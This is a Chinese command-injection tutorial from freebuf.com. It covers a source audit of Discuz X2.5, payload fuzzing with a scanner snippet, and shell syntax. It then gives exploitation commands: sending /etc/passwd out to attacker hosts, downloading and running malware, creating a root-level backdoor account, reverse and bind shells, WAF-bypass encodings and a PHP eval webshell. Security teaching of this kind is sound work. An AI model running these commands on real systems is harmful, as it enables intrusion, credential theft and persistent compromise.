命令注入漏洞介绍(下篇) – 作者:nobodyshome

命令注入测试

我们要知道,命令注入并不是Web特有,所有能执行系统系统命令的程序都可能有命令注入漏洞。

理论上讲,通过白盒代码审计是最简单的排查命令注入的方式。

在接触不到源码的情况下,还可以通过黑盒遍历payload的方式检测命令注入,黑盒的模式下,所有用户可控的点都需要进行遍历测试。

基于静态代码分析的白盒检测

我选择一个PHP系统进行命令注入白盒审计演示,为了让成果凸显一些,我刻意找到一个存在命令注入的系统Discuz_X2.5_SC来进行分析。

白盒检测的辅助工具有很多,我选择用Seay源代码审计系统来演示。Seay的理念很简单,遍历所有的源代码,找出关键的字,比如针对命令注入,找到关键函数system, exec, shell_exec等,显示出来,双击可进入文件浏览到对应代码行。本质上和grep搜索类似,只是相对来说操作更友好一些。[13]

首先,我去下载Discuz_X2.5 http://download.comsenz.com/DiscuzX/2.5/Discuz_X2.5_SC_UTF8.zip

接着我去下载Seay源代码审计系统2.1 https://github.com/f1tz/cnseay。[14]

安装并打开seay,新建项目 –> 自动审计 –> 开始,等待几分钟使扫描进度为100%。

点击漏洞描述,让结果以漏洞描述排序,如下图所示
image

我们的目标是命令注入,依次查看所有漏洞描述为命令注入的行,最终找到可能存在命令注入的代码如下图所示
image
图1 命令注入疑似代码

image
图2 命令注入疑似代码

从工具审计结果来看,真正需要排除确认的点并不是很多,这也可以理解,毕竟执行命令的需求并不会特别多,如果有大量的命令执行,倒不如直接写一个shell脚本,在代码中调用脚本来得方便。

接下来逐行排查每个疑似存在命令注入的代码。

图1中所有的疑似代码都是因为代码中有反引号,逐行排查后,发现这些代码都是和数据库操作有关。在mysql语句中反引号`的作用是避免表名字段名与mysql已存在的保留字冲突,引起不知名错误。所有可以确定图1的均为假阳性,误报。

图2只有四处可疑代码,逐行去分析, 最终发现id为116的可疑漏洞,双击审计源码,定位到admincp_db.php的196行

@shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($_GET['extendins'] == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $_GET['sqlcompat'] == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="'.$dbuser.'" --password="'.$dbpw.'" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile);

逐个参数去分析,最终发现倒数第二个参数$tablesstr在admincp_db.php的281-284行被赋值

281			$tablesstr = '';
282			foreach($tables as $table) {
283				$tablesstr .= '"'.$table.'" ';
284			}

再去找$tables, 在admincp_db.php的134-148行被赋值

134		$time = dgmdate(TIMESTAMP);
135		if($_GET['type'] == 'discuz' || $_GET['type'] == 'discuz_uc') {
136			$tables = arraykeys2(fetchtablelist($tablepre), 'Name');
137		} elseif($_GET['type'] == 'custom') {
138			$tables = array();
139			if(empty($_GET['setup'])) {
140				$tables = C::t('common_setting')->fetch('custombackup', true);
141			} else {
142				C::t('common_setting')->update('custombackup', empty($_GET['customtables'])? '' : $_GET['customtables']);
143				$tables = & $_GET['customtables'];
144			}
145			if( !is_array($tables) || empty($tables)) {
146				cpmsg('database_export_custom_invalid', '', 'error');
147			}
148		}

上面代码逻辑是判断GET参数中type是不是’custom’,如果是,判断GET参数中setup是不是空,如果非空,则把GET参数中customtables赋值给$tables

到这里,就可以判断这里是存在注入点的。至于要如何利用,还需要分析调用栈,设法让程序执行到admincp_db.php的196行,也就是执行命令的代码,构造恶意的参数值,完成命令注入。

这种代码审计方式的特点是根据你搜索的关键字,可以遍历所有可能存在命令注入的点,挨个排查后,可以确保系统不存在命令注入。但是这样也有几个明显的缺点。

  • 缺点1:如果关键字不全面,可能会漏测;

  • 缺点2:根据字符串匹配,搜索结果可能非常多,对审计人员而言,工作量很大;

  • 缺点3:审计人员很难快速对应业务功能和代码,发现代码漏洞后,要花很多时间去找对应的业务功能。

讲到静态代码分析,又可以扩展到DAST(Dynamic Application Security Testing),SAST(Static Application Security Testing)和IAST(Interactive Application Security Testing)这三种应用安全测试方法。简单来说,AWVS,APPScan属于DAST,Coverity,RIPS,VisualCodeGrepper,Fortify SCA等属于SAST,其他基于代理和插桩的工具如xray,AWVS集成“AcuSensor”模块,AppScan集成“Glass Box”服务模块实现IAST。本文不对三个概念进行展开分析,有兴趣读者可以查看参考材料[15]。

本节“基于静态代码分析的白盒检测”可以归类为SAST技术。关于SAST的更多内容,有兴趣的读者可以查看参考材料[16]。

基于payload的黑盒检测

理论上针对命令注入的测试,最佳的方式还是做代码审计,但是有些时候确实是无法查看到源代码,这种背景下,另一种命令注入的测试方式就是基于payload的黑盒测试。

这里要补充一句,因为是黑盒测试,那就有可能我们把payload添加的键值对的值中发给服务器,如果服务器校验不严格,可能会修改到某个配置,最终可能导致系统异常甚至拒绝服务,比如把ip修改成了192.168.1.1`reboot`, 黑盒测试是有这种风险的,所以测试之前一定要谨慎,最好在测试环境进行测试,另外测试之前最好做各种配置文件,数据库的备份操作。

我们以一个POST请求举例来说

POST /mp/getappmsgext?f=json&mock=&uin=&key=&pass_ticket=&wxtoken=777&devicetype=&clientversion=&__biz=Mz%3D%3D&appmsg_token=&x5=0&f=json HTTP/1.1
Host: mp.xxx.bb.com
Connection: close
Content-Length: 621
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Origin: https://mp.xxx.bb.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: 
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7,zh;q=0.6
Cookie: pgv_pvi=638; RK=jea; ptcz=29f4; pgv_pvid=896; h_uid=h54; tvfe_boss_uuid=7d85; rewardsn=; wxtokenkey=777

r=0.5378963&__biz=Mz%3D%3D&appmsg_type=9&mid=22882&sn=&idx=1&scene=&title=%25E&ct=16161408&abtest_cookie=&devicetype=&version=&is_need_ticket=0&is_need_ad=0&comment_id=17871542&is_need_reward=0&both_ad=0&reward_uin_count=0&send_time=&msg_daily_idx=1&is_original=0&is_only_read=1&req_id=1010xGpJ&pass_ticket=&is_temp_url=0&item_show_type=0&tmp_version=1&more_read_type=0&appmsg_like_type=2&related_video_sn=&related_video_num=5&vid=&is_pay_subscribe=0&pay_subscribe_uin_count=0&has_red_packet_cover=0&album_id=12630&album_video_num=5&cur_album_id=undefined&is_public_related_video=undefined&encode_info_by_base64=undefined

请求样例1

对于上面的请求,我们是不是可以假设有很多地方都可能被后台代码处理,都可能存在命令注入,从上到下URI中键值对的值,到header中Cookie键值对的值,以及后面body中键值对的值。

因为我不知道后台代码可能怎么处理,所以只能尝试所有可能性。接下来我们要做两件事,第一是准备命令注入的payload,第二是逐个遍历键值对,把所有payload添加到键值对的值中。(当然这里可能有很多优化空间,本文用最简单最暴力的方式就是两个for循环,一个是for键值对,一个是for payload,达成所有键值对所有payload的遍历)

命令注入payload准备

payload的准备考虑以下几点

  • 带内回显的命令注入

  • 带内无回显,带外请求命令注入

  • 带内无回显,基于延时的盲注

  • 基于已有shell的命令注入

  • 定位到请求包 / 定位到业务功能

  • 注入的命令尽量保证系统中存在

  • pyaload的目的是快速找到注入点,所以payload应该要精简高效

接下来解释一下为什么这么考虑。

首先命令注入的检测要根据状态来判断是否存在注入点。状态可以分为带内回显,带外回显,及基于延时的盲注。所谓带内是指在http的response中回传,带外是指并非在http的response中回传,而是通过其他通道如DNSlog,wget其他http请求,反弹tcp请求等等。如果带内带外都没任何反应,可以考虑基于延时的注入比如sleep命令,比如ping -c命令。最后还有一种情况是在甲方测试,虽然可能你拿不到源代码,但是产品线可以提供给你ssh后台账户密码,允许你登录后台,这种情况下,即使上述上种情况都失效,可以尝试这种,比如在/bin下面自定义一个命令,如pentest命令,这是一个脚本,当执行脚本时,会在本地记录一些必要信息供后期跟踪定位。

接下来要考虑的是无论带内,带外,或者是延时等场景,怎么快速定位到对应的请求包以及对应的业务功能。

快速定位到请求包相对还是比较容易的,一种方法是把payload和请求做一些绑定,比如针对上述“请求样例1”的请求,生成一个唯一码uuid,然后在payload中利用uuid去请求,比如payload设置为wget 192.168.1.2/uuid, 这样带外收到这个请求之后,也能快速定位到是哪个请求触发了命令注入。

快速定位要业务功能是一个难题,因为可能存在一种场景是payload非常多,键值对也非常多,或者每个请求间隔需要较长时间,这会导致扫描遍历速度比业务功能操作速度慢。
监控发现异常,根据上面说的,可以快速定位到请求包,但是很难请求包对应的业务功能。
针对这种情况,我的想法是如果是基于时间的盲注,如果发现超时,可以把疑似存在漏洞的请求记录在日志中,再继续进行测试。因为基于时间的盲注有一定的误报率。先找到请求包,再去找功能点。
而针对带内回显和带外的请求,如果监控到异常,那就意味着大概率存在命令注入漏洞,这时候我的建议是暂停下来进行分析,而不是继续遍历测试。
这么做的考虑的第一点是一个系统不一定有很多的命令注入点,找到一个如果顺利能拿到高权限的shell,可以直接白盒审计。
第二点是如果payload足够精简,基本上请求和业务功能是同步的,如果在业务功能操作过程扫描器停止,就可以判断大体上是在哪个功能上存在命令注入漏洞。

下面要考虑的就是怎么让payload精简高效,优先考虑的是尽量避免带空格的payload,像reboot,id,whoami等命令就是很好的payload,另外要考虑的问题是注入的命令尽量保证系统中存在,比如带nc的payload可能很多时候就会失效,不是因为没有注入点,而是系统没有nc命令。

最后要说的是既然是黑盒测试,就不用考虑完美的payload和保证覆盖100%,payload理论上可以有无穷多个,每个payload都要考虑前缀,后缀,单引号,双引号,大中小括号等等复杂请求,比如某种情况下,要”))))才能闭合前面的命令进行注入,这种情况想要依靠payload来保证覆盖度是不太现实的。

拿上面的请求来说,body的第一个参数r=0.5378963,我们去测注入可能会尝试r=0.5378963`whoami`, r=0.5378963;cat$IFS/etc/passwd}, r=0.5378963;wget%20192.168.1.2/xxx 等等情况,最后没测出来。但未来有一天被人发现r=0.5378963″))));${cat%20/etc/passwd}可以注入成功。这种时候除了跟老板道歉承认技不如人,也没有其他办法了,orz!

上面谈了这么多对payload的想法,接下来在准备payload之前,还需要介绍一些Linux下的背景知识,以便后续更好的理解及准备payload。

Linux命令注入基础知识

linux命令行特殊符号:

  • | 管道

  • & 后台执行

  • || 逻辑或,当前面命令执行失败后执行后面的命令

  • && 逻辑与,当前面命令执行成功后执行后面的命令

  • ; 命令分隔,执行完前面命令后再执行后面命令

  • ` 执行反引号内部的命令

  • ‘ 单引号内部的字符串不会被扩展解释,只会被单作普通字符

  • ” 双引号内部的字符串不会被通配符的扩展,但允许变量扩展

  • () 指令群,括号内部执行以分号隔开,(command1;command2[;command3…]),新开一个子shell顺序执行命令

  • (()) 与 let 指令相似,用在算数运算上

  • {} 大括号有三个作用

    • 1)拼接字符串,如cat {/fl,/fla}{ag,g}

    • 2)执行指令群,要注意的是指令群第一条指令和左括号要有一个空格,最后一条指令要加分号, 如{ command1;command2;[command3;…]),在当前shell顺序执行命令

    • 3)在大括号内还可以通过用逗号为分隔符如 {ls,}, {cat,/etc/passwd} 进行命令执行

  • [] 逻辑判断及集合功能,如cat fl[a-z]g, 可以达到cat flag的效果。

  • [[]] 逻辑判断功能,如[[ $ak > 5 || $ak< 9 ]]

  • > 标准输出重定向

  • >> 标准输出追加重定向

  • < 标准输入重定向

  • << cmd << text 从命令行读取输入,直到一个与text相同的行结束。

  • <<< cmd <<< word 把word(而不是文件word)和后面的换行作为输入提供给cmd。

  • 0 标准输入描述符

  • 1 标准输出描述符

  • 2 标准错误输出描述符

  • >& 描述符拷贝,比如2>&1的意思是把标准错误输出重定向到标准输出(后面反弹shell会提到)

  • IFS 由 < space > 或 < tab > 或 < enter > 三者之一组成

  • CR 由 < enter > 产生

更多Linux命令注入基础知识可查看参考材料[16],[17]。(本文对参考材料[17]的引用较多,如原作者有要求可联系笔者删除)

关于输入输出重定向的说明,可查看参考材料[19]了解更多。

Linux中比较常用的命令拼接符

  • | 管道

  • & 后台执行

  • ; 命令分隔,执行完前面命令后再执行后面命令

  • ` 执行反引号内部的命令

  • $() 命令执行

  • %0a \n的URL编码 newline把光标移动到下一行

  • %0d \r的URL编码 return把光标移动到当前行的最左边

命令注入代码拼接分析

前面用了大量的篇幅介绍了C/C++,Java, PHP, Python, Go以及Rust语言的命令执行错误实现。这些实现都有一个共性是把用户的输入拼接在命令中并调用函数执行命令。

命令拼接的原语句可能会比较复杂,比如涉及多个单双引号,各种形式的括号。以双引号来说,并不影响反引号的执行,而单引号会影响反引号的命令执行,所以最终在考虑payload时候,要考虑闭合单引号的情况。至于括号的情况就比较复杂,可以假设真的有漏洞也比较难被发现,暂时不去考虑这种情况。

我们以 encode(prefix + Chaining(injection cmd) + postfix) 的形式介绍payload的扩展。

prefix和postfix的作用是让Chaining(injection cmd)在逻辑上有效。

假设原语句是 os.system(“bash -c ‘ls -al ” + input + “‘” > /dev/null”)
injection cmd = reboot
Chaining(injection cmd) = `reboot`
prefix = postfix = ‘
encode可有可无,encode可以是url编码,可以是base64编码等等
一个有效的payload为’`reboot`’。

我按照以下的逻辑来扩展payload:原始injection cmd –> ${IFS}替代空格 –> 前后加反引号(URL编码) –> 前后加单引号(URL编码)
这里前后加反引号,以及${IFS}替代空格属于Chaining过程,而URL编码属于encode过程。

cat /etc/passwd 原始注入命令
cat${IFS}/etc/passwd 替代空格
`injection${IFS}cmd` 添加命令拼接符号,经测试发现,反引号和$(), 比分号,管道等更好用一些。
%60%69%6e%6a%65%63%74%69%6f%6e%24%7b%49%46%53%7d%63%6d%64%60 URL编码
'`injection${IFS}cmd`' 添加单引号,闭合可能存在单引号的情况
%27%60%69%6e%6a%65%63%74%69%6f%6e%24%7b%49%46%53%7d%63%6d%64%60%27 URL编码

下面是梳理出的原始injection cmd,这些cmd都可以通过上述方式扩展成最终paylaod

injection cmd梳理

# 带内回显
cat /etc/passwd

# 带外请求
echo uuid>/dev/tcp/ip/port
wget `whoami`.xxx.dnslog.io
wget ip:port/uuid
curl -T /etc/passwd ip:port

# 基于延时的payload
reboot
sleep 30
ping -c 30 192.168.1.2

# 基于已有shell的payload
pwd>/tmp/cmdi_uuid

payload梳理

`reboot`
'`reboot`'
%60%72%65%62%6f%6f%74%60
%27%60%72%65%62%6f%6f%74%60%27
`sleep${IFS}30`
{sleep,30}
'`sleep${IFS}30`'
'{sleep,30}'
%60%73%6c%65%65%70%24%7b%49%46%53%7d%33%30%60
%27%60%73%6c%65%65%70%24%7b%49%46%53%7d%33%30%60%27
`echo${IFS}uuid>/dev/tcp/ip/port`
'`echo${IFS}uuid>/dev/tcp/ip/port`'
%60%65%63%68%6f%24%7b%49%46%53%7d%75%75%69%64%3e%2f%64%65%76%2f%74%63%70%2f%69%70%2f%70%6f%72%74%60
%27%60%65%63%68%6f%24%7b%49%46%53%7d%75%75%69%64%3e%2f%64%65%76%2f%74%63%70%2f%69%70%2f%70%6f%72%74%60%27

上面的这些payload中,reboot有效的前提是进程以root权限运行,sleep有效的前提是sleep命令使主进程阻塞,而非在后台执行。所有payload有效的前提是没有被特殊字符过滤,大家可以看到上述payload都是基于反引号,如果反引号被过滤,那么这些payload就都失效,但这并不意味着目标系统就没有注入点。

我在参考材料[18]看到一份命令注入模板,这个模块也可以提供一些生成payload的思路, 我截取一部分在下面展示。

{cmd}
;{cmd}
;{cmd};
^{cmd}
|{cmd}
<{cmd}
<{cmd};
<{cmd}\n
<{cmd}%0D
<{cmd}%0A
&{cmd}
&{cmd}&
&&{cmd}
&&{cmd}&&
%0D{cmd}
%0D{cmd}%0D
%0A{cmd}
%0A{cmd}%0A
\n{cmd}
\n{cmd}\n
'{cmd}'
`{cmd}`
;{cmd}|
;{cmd}/n
|{cmd};
a);{cmd}
a;{cmd}
a);{cmd}
a;{cmd};
a);{cmd}|

...

自动化工具完成键值对遍历

我写的被动式扫描工具 MossbackScanner有实现该功能,虽然工具现在还比较简陋,但凑合着也还能用。下面是针对命令注入遍历的一段代码。

def test_cmdi_uri(self, method, uri, version, header, body, host):
        params = uri.split('?')
        if len(params) == 2:
            path = params[0] + '?'
            params = params[1].split('&')

            for i in range(len(params)):
                param_bak = params[i]
                for payload in self.payloads:
                    time.sleep(
                        0.001 * self.conf["interval"] + 0.001 * random.randint(1, 9))
                    params[i] = param_bak + payload.strip()
                    uri_new = '&'.join(params)

                    if self.send_recv(method, path + uri_new, version, header, body, host) is True:
                        break

                    params[i] = param_bak

    def test_cmdi_body(self, method, uri, version, header, body, host):
        bodys = body.split('&')
        for i in range(len(bodys)):
            body_bak = bodys[i]
            for payload in self.payloads:
                time.sleep(
                    0.001 * self.conf["interval"] + 0.001 * random.randint(1, 9))
                bodys[i] = body_bak + payload.strip()
                body_new = '&'.join(bodys)

                if self.send_recv(method, uri, version, header, body_new, host) is True:
                    break

                bodys[i] = body_bak

Burpsuit的官网有一篇文章介绍了命令注入漏洞,同时还有几道命令注入的靶机环境题目。有兴趣的读者可以去试试解题。
https://portswigger.net/web-security/os-command-injection

命令注入漏洞案例

案例网上非常多,CVE,CNVD,CNNVD一搜一大把。这里提供一个锐捷的RCE漏洞供读者参考。

锐捷网络 EWEB网管系统RCE漏洞(微信:PTU 渗透测试)

锐捷网络 EWEB网管系统RCE漏洞(微信:无极安全)

命令注入利用

前面我们利用payload和自动化工具跑出了命令注入点,接下来要看看这么利用注入点,利用的最大目标是希望能反弹shell,或者是拿到webshell,至于权限提升,不在本文讨论范围,我计划后续补一篇Linux提权的文章。

现在假设执行到这里,已经在命令注入测试过程,发现了注入点,我们需要进一步利用以达到渗透的目的。

命令注入可以做什么?

  • 收集系统信息

  • 修改系统配置

  • 新建后门帐户

  • 下载系统文件

  • 上传恶意程序/脚本/webshell

  • 监听shell连接

  • 反弹shell

收集系统信息

如果是带内回显,那么执行ls,cat等命令可以收集系统信息。

如果是带外回传信息,小数据可以考虑DNSlog请求外带,也可以wget HTTP请求外带。

wget `whoami`.xxx.dnslog.io
wget ip:port/`whoami`

如果是大数据,可以考虑把结果重定向到本地,再通过文件传输方式下载目标文件。

也可以考虑通过ls,cat后进行base64编码,直接把base64的结果回传到目标tcp端口。

比如 echo `ls | base64` > /dev/tcp/ip/port,本地执行脚本监听回传的信息,脚本内容如下:

import socket
import base64

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
skt.bind(('', 7777))
skt.listen()

while True:
    cli, _ = skt.accept()
    allmsg = ''
    skt.settimeout(5)
    while True:
        try:
            msg = cli.recv(1024).decode()
            if len(msg) > 0:
                allmsg += msg
            else:
                break
        except:
            break
    skt.settimeout(999999)
    try:
        print(base64.b64decode(allmsg).decode())
    except Exception as exp:
        print(exp)

基础信息收集

# 查看当前用户
whoami
id

# 查看系统账户
cat /etc/passwd
cat /etc/shadow

# 查看进程信息
ps -aux
ps -auxef
pstree

# 查看监听端口
netstat -tulnp

# 查看系统挂载信息
mount

# 查看系统及内核版本
cat /etc/issue
uname -a

查看系统支持的所有系统命令

echo $PATH | awk -F: '{for(i=1;i<=NF;i++){cmd="echo "$i";ls -al "$i;system(cmd)}}'

查看所有可写目录

ls / | awk '{for(i=1;i<=NF;i++){cmd="echo "$i";touch /"$i"/pentest_writable.tmp";system(cmd)}}'

# 删除测试touch出来的文件
ls / | awk '{for(i=1;i<=NF;i++){cmd="echo "$i";rm /"$i"/pentest_writable.tmp";system(cmd)}}'

新建系统帐户

useradd pter
echo "pter:admin123" | chpasswd
sed -i 's/^\(pter:[^:]\):[0-9]*:[0-9]*:/\1:0:0:/' /etc/passwd

下载系统文件

curl -T /etc/passwd dst_ip:dst_port

curl http://ip:port -F a=@/etc/passwd

nc -lvp port < /etc/passwd

wget --post-data="`cat /etc/passwd`" http://ip:port

wget --post-file=/etc/passwd http://ip:port

telnet ip port < /etc/passwd

cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 ip; done

上传恶意程序/脚本

比如上传nc程序,挖矿病毒,勒索病毒,远程控制木马等

wget -O /可写目录 ip:port/malware
wget -P /可写目录 ip:port/malware

chmod 777 /可写目录/malware
/可写目录/malware &
sh -x /可写目录/malware

上传webshell

webshell可以在 https://github.com/tennc/webshell找一个顺手的,比较有名的有webshell三兄弟ASPXSPY、PHPSPY、JSPSPY。

监听shell连接

nc -e /bin/sh -lnp 7777 &

反弹shell

反弹shell可以直接通过命令注入反弹,也可以通过上传反弹shell的脚本文件,再执行脚本完成反弹操作。

sh -i > /dev/tcp/ip/port 2>&1 0>&1
exec 5<>/dev/tcp/ip/port;cat <&5|while read line;do $line >&5 2>&1;done
或者
0<&196;exec 196<>/dev/tcp/ip/port; sh <&196 >&196 2>&196
nc -e /bin/sh ip port
或者
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f

了解更多,可查看参考材料[20].

命令注入绕过

按理说在利用之前,命令注入测试过程,应该要考虑waf绕过,实际上如果确定目标系统存在waf,应该先手动去探测waf的过滤规则,这个也不在本文讨论范围。本文更多的是围绕测试覆盖度的角度。以waf为例,先确定waf绕过规则,再定制payload,再利用自动化工具去跑payload。

命令注入绕过可能会用到的通配符

  • * 匹配任意长度任意字符

  • ? 匹配任意单个字符

  • [list] 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合

  • [^list] 匹配指定范围外的任意单个字符或字符集合

  • [!list] 同[^list]

  • {str1,str2,…} 匹配 srt1 或者 srt2 或者更多字符串,也可以是集合

比如

cat /e??/??sswd
cat /?t?/p[a-z]sswd
cat /??c/p{"as","ss"}swd

空格绕过

使用<或者<>

$ cat</flag
flag{xxx}

$ cat<>/flag
flag{xxx}

使用$IFS或者$9

$ cat$IFS$9/flag
flag{xxx}

$ cat${IFS}/flag
flag{xxx}

$ cat$IFS/flag
flag{xxx}

使用url编码绕过

Linux bash可以使用%20(space)、%09(tab)、%3c(<)以及+来绕过

花括号拓展{OS_COMMAND,ARGUMENT}绕过

在Linux bash中还可以使用{cat,/etc/passwd}来绕过
base64编码绕过

变量控制绕过

$ X=$'cat\x20/flag'&&$X
flag{xxx}

$ X=$'cat\x09/flag'&&$X
flag{xxx}

采用$@绕过

$ c$@at /fl$@ag
flag{xxx}

$ echo i$@d
id

$ echo i$@d|$0
uid=0(root) gid=0(root) groups=0(root)

绕过WAF绕过

变量控制绕过

$ a=l;b=s;$a$b
bin  boot  dev	etc  home  lib	lib64  media  mnt  opt	proc  root  run  sbin  srv  sys  tmp  usr  var

$ a=c;b=at;c=flag;$a$b $c
flag{xxx}

编码绕过

$ echo "Y2F0IC9mbGFn"|base64 -d|bash
flag{xxx}

#base64_endcode("cat /flag") => Y2F0IC9mbGFn
#base64可能会出现/

$ echo "636174202f666c6167" | xxd -r -p|bash	#hex 十六进制编码
flag{xxx}

$ $(printf "\154\163")							#oct
bin  boot  dev	etc  flag  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

$ $(cat /flag)
bash: flag{xxx}: 未找到命令

$ $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
flag{xxx}

$ {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0
flag{xxx}

#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
$ {printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

单引号双引号绕过

$ c"a"t /f''l'a'g
flag{xxx}

反斜线绕过

$ c\a\t /f\l\ag
flag{xxx}

利用已经存在的资源绕过

$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

$ echo $PATH| cut -c 1
/

利用一些已有字符绕过

${PS2} 对应字符 >
${PS4} 对应字符 +
${IFS} 对应 内部字段分隔符
${9} 对应 空字符串

安全建议

  • 执行代码审计,审计命令执行代码

  • 禁用系统执行函数

  • 通过通用接口/库函数实现对应功能,而不是通过执行命令实现

  • 不要用system系函数,用exec系函数

  • 调用exec系函数,并禁止调用解释器程序

  • 对系统执行函数参数做严格的检测(白名单过滤)

  • 通过单引号进行拼接,并转义命令行中的所有单引号

  • 权限最小化(用非root权限执行应用程序)

  • 系统命令裁剪

  • 操作系统对可执行程序进行签名校验

参考材料

[1] https://www.cs.uleth.ca/~holzmann/C/system/shell_commands.html
[2] https://stackoverflow.com/questions/5769734/what-are-the-different-versions-of-exec-used-for-in-c-and-c
[3] https://www.anquanke.com/post/id/229611#h3-1
[4] http://blog.leanote.com/post/snowming/608bafbfc9eb
[5] https://stackoverflow.com/questions/89228/how-to-execute-a-program-or-call-a-system-command-from-python
[6] https://b1ngz.github.io/java-os-command-injection-note/
[7] https://www.php.net/docs.php
[8] https://www.kancloud.cn/a173512/php_note/1460404
[9] https://docs.python.org/3/library/
[10] https://gobyexample.com/
[11] https://doc.rust-lang.org/std/process/struct.Command.html
[12] https://kaisery.github.io/trpl-zh-cn/ch12-01-accepting-command-line-arguments.html
[13] https://v0w.top/2020/08/26/CodeAudit-php/#0x02-%E4%BB%8E%E4%BB%A3%E7%A0%81%E6%9C%AC%E8%BA%AB%E6%89%BE%E6%BC%8F%E6%B4%9E
[14] https://paper.seebug.org/763/
[15] https://www.aqniu.com/learn/46910.html
[16] https://linux.die.net/man/1/bash
[17] https://blog.zeddyu.info/2019/01/17/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/
[18] https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/os-cmd-execution/command-injection-template.txt
[19] https://xz.aliyun.com/t/2548
[20] https://xz.aliyun.com/t/2549

来源:freebuf.com 2021-06-06 18:15:20 by: nobodyshome

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论